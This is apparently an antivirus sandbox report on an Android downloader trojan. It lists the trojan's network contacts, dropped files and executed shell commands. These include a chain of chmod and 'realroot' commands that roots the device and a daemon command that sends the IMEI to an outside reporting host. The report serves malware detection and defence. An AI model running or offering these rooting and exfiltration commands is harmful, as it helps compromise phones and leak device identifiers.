Technical information
Malicious functions:
Executes code of the following detected threats:
- Android.DownLoader.240.origin
Prompts to install third-party apps.
Network activity:
Connects to:
- UDP(DNS) <Google DNS>
- TCP(HTTP/1.1) a####.u####.com:80
- TCP(HTTP/1.1) googl####.g.doublec####.net:80
- TCP(HTTP/1.1) oc.u####.com:80
- TCP(HTTP/1.1) r####.uu.qq.com:80
- TCP(TLS/1.0) app.ad####.com:443
- TCP(TLS/1.0) googl####.g.doublec####.net:443
DNS requests:
- a####.u####.com
- app.ad####.com
- dp.hhhhhy####.com
- googl####.g.doublec####.net
- oc.u####.com
- r####.uu.qq.com
- ve####.ip####.com
HTTP GET requests:
- googl####.g.doublec####.net/mads/static/mad/sdk/native/sdk-core-v40-load...
- googl####.g.doublec####.net/mads/static/mad/sdk/native/sdk-core-v40.html
HTTP POST requests:
- a####.u####.com/app_logs
- oc.u####.com/v2/check_config_update
- oc.u####.com/v2/get_update_time
- r####.uu.qq.com/rqd/sync
File system changes:
Creates the following files:
- /data/data/####/.imprint
- /data/data/####/.jiagu.ls
- /data/data/####/99SuperSUDaemon
- /data/data/####/AdjustIoActivityState
- /data/data/####/AdjustIoPackageQueue
- /data/data/####/ApplicationCache.db-journal
- /data/data/####/ROOT_HY_SDK.xml
- /data/data/####/Update.temp.tempsec
- /data/data/####/Update.temp.tmp
- /data/data/####/ads-735859319.jar
- /data/data/####/appDate.xml
- /data/data/####/bugly_db_-journal
- /data/data/####/busybox
- /data/data/####/config
- /data/data/####/daemon
- /data/data/####/data_0
- /data/data/####/data_1
- /data/data/####/data_2
- /data/data/####/data_3
- /data/data/####/f_000001
- /data/data/####/http_googleads.g.doubleclick.net_0.localstorage-journal
- /data/data/####/index
- /data/data/####/install-recovery.sh
- /data/data/####/ipm
- /data/data/####/libdaemon.so
- /data/data/####/libjiagu.so
- /data/data/####/mexec
- /data/data/####/mobclick_agent_cached_android.man.hots298
- /data/data/####/mobclick_agent_online_setting_android.man.hots.xml
- /data/data/####/mobclick_agent_online_setting_com.system.updater.xml
- /data/data/####/module.jar
- /data/data/####/module_encrypt.jar
- /data/data/####/onekeyrootseckill.sh
- /data/data/####/psneuter.script
- /data/data/####/qvod.xml
- /data/data/####/realroot
- /data/data/####/right.jar.tmp
- /data/data/####/root.sh
- /data/data/####/su
- /data/data/####/support.tmp
- /data/data/####/temp.zip
- /data/data/####/umeng_general_config.xml
- /data/data/####/umeng_it.cache
- /data/data/####/wall.db
- /data/data/####/wall.db-journal
- /data/data/####/webview.db-journal
- /data/data/####/webviewCookiesChromium.db-journal
- /data/media/####/http.log
Miscellaneous:
Executes the following shell scripts:
- /system/bin/sh -c getprop ro.board.platform
- <Package Folder>/files/mexec =abcdefg= <Package Folder>/files -r
- <Package Folder>/files/realroot HygZRm2IHTKWpp7Hll/sS0uY66xdcw== /system/bin/sh <Package Folder>/files/psneuter.script
- <Package Folder>/files/realroot al1s7jBFNtn9faBmC0Jb9A9Ns1GZSg== /system/bin/sh <Package Folder>/files/psneuter.script
- <Package Folder>/files/realroot f0h5zguZ9aJXbCZExMaN2kDhh6V0Uw== /system/bin/sh <Package Folder>/files/psneuter.script
- chmod 0777 <Package Folder>/files/psneuter.script
- chmod 777 ./daemon
- chmod 777 <Package Folder>/files/99SuperSUDaemon
- chmod 777 <Package Folder>/files/Update.temp
- chmod 777 <Package Folder>/files/busybox
- chmod 777 <Package Folder>/files/install-recovery.sh
- chmod 777 <Package Folder>/files/ipm
- chmod 777 <Package Folder>/files/mexec
- chmod 777 <Package Folder>/files/onekeyrootseckill.sh
- chmod 777 <Package Folder>/files/realroot
- chmod 777 <Package Folder>/files/root.sh
- chmod 777 <Package Folder>/files/su
- getprop ro.board.platform
- ipm
- sh -c ./daemon <Package> <Package Folder> http://dp.hhhhhyyyyy.com:10086/app/report ciid=11fcd11391ba4f4eb90cd1d3b2cfacca&imeicode=<IMEI>&imei=02ca42711195b3ed7e28e8d634bbb2b7&avv=2.9.8&category=1&type=6 2
- sh <Package Folder>/files/realroot HygZRm2IHTKWpp7Hll/sS0uY66xdcw== /system/bin/sh <Package Folder>/files/psneuter.script
- sh <Package Folder>/files/realroot al1s7jBFNtn9faBmC0Jb9A9Ns1GZSg== /system/bin/sh <Package Folder>/files/psneuter.script
- sh <Package Folder>/files/realroot f0h5zguZ9aJXbCZExMaN2kDhh6V0Uw== /system/bin/sh <Package Folder>/files/psneuter.script
Loads the following dynamic libraries:
- libdaemon
- libjiagu
- support
Uses the following algorithms to decrypt data:
- AES-CBC-PKCS5Padding
Uses special library to hide executable bytecode.
Gets information about network.
Gets information about phone status (number, IMEI, etc.).
Gets information about installed apps.
Gets information about running apps.
Displays its own windows over windows of other apps.
